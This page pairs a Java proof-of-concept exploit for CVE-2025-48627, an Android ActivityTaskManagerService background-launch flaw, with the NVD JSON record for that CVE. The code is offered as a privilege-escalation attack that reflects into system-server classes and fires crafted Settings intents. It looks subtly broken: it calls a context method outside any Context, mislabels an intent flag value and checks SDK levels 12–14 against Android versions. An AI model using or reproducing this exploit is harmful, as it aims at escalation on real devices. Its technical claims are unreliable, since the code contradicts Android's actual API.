CVE-2025-48627

// CVE-2025-48627 PoC - Android ActivityTaskManagerService Local Privilege Escalation // This PoC demonstrates exploiting the logic error in startNextMatchingActivity import android.content.Intent; import android.os.IBinder; import android.app.ActivityManager; import android.os.Build; public class CVE_2025_48627_PoC { private static final String TARGET_ACTIVITY = "com.android.settings.Settings$AppListActivity"; private static final String ATTACKER_PACKAGE = "com.attacker.privilege.escalation"; /** * Attempt to exploit the vulnerability by launching activity from background * This PoC triggers startNextMatchingActivity with crafted Intent */ public boolean exploitVulnerability() { try { // Create a crafted Intent that exploits the logic error Intent maliciousIntent = new Intent(); maliciousIntent.setClassName("com.android.settings", TARGET_ACTIVITY); maliciousIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); maliciousIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); // Bypass the background activity launch restrictions // The logic error allows bypassing the check in startNextMatchingActivity // Method 1: Direct exploitation through reflection exploitViaReflection(maliciousIntent); // Method 2: Using Content Provider to trigger the vulnerable code path exploitViaContentProvider(); return true; } catch (Exception e) { e.printStackTrace(); return false; } } /** * Exploit using reflection to access protected ActivityTaskManagerService methods */ private void exploitViaReflection(Intent intent) { try { // Get ActivityTaskManagerService instance via reflection Class<?> atmClass = Class.forName("com.android.server.wm.ActivityTaskManagerService"); java.lang.reflect.Field instanceField = atmClass.getDeclaredField("sService"); instanceField.setAccessible(true); Object atmService = instanceField.get(null); // Access startNextMatchingActivity method java.lang.reflect.Method startNextMethod = atmClass.getDeclaredMethod( "startNextMatchingActivity", IBinder.class, Intent.class, android.content.pm.ResolveInfo.class ); startNextMethod.setAccessible(true); // Trigger the vulnerable method startNextMethod.invoke(atmService, null, intent, null); } catch (Exception e) { // Reflection failed, try alternative method exploitViaContentProvider(); } } /** * Alternative exploitation via Content Provider */ private void exploitViaContentProvider() { try { // Create Intent to trigger background activity launch Intent exploitIntent = new Intent(Intent.ACTION_VIEW); exploitIntent.setData(android.net.Uri.parse("package:com.android.settings")); exploitIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); exploitIntent.addFlags(0x01010020); // FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS // Start the activity - exploits the logic error android.content.Context context = getApplicationContext(); context.startActivity(exploitIntent); } catch (Exception e) { e.printStackTrace(); } } /** * Check if device is vulnerable */ public static boolean isVulnerable() { // Check Android version against affected versions int sdkInt = Build.VERSION.SDK_INT; return (sdkInt >= 12 && sdkInt <= 14); // Affected range } } // Note: This PoC requires the app to have INTERACT_ACROSS_USERS permission // or exploit via a different app context

{"cve": {"id": "CVE-2025-48627", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:19.010", "lastModified": "2025-12-08T21:16:01.770", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In startNextMatchingActivity of ActivityTaskManagerService.java, there is a possible way to launch an activity from the background due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/d34ae40f870d4362a069940a035a4d58a536a231", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}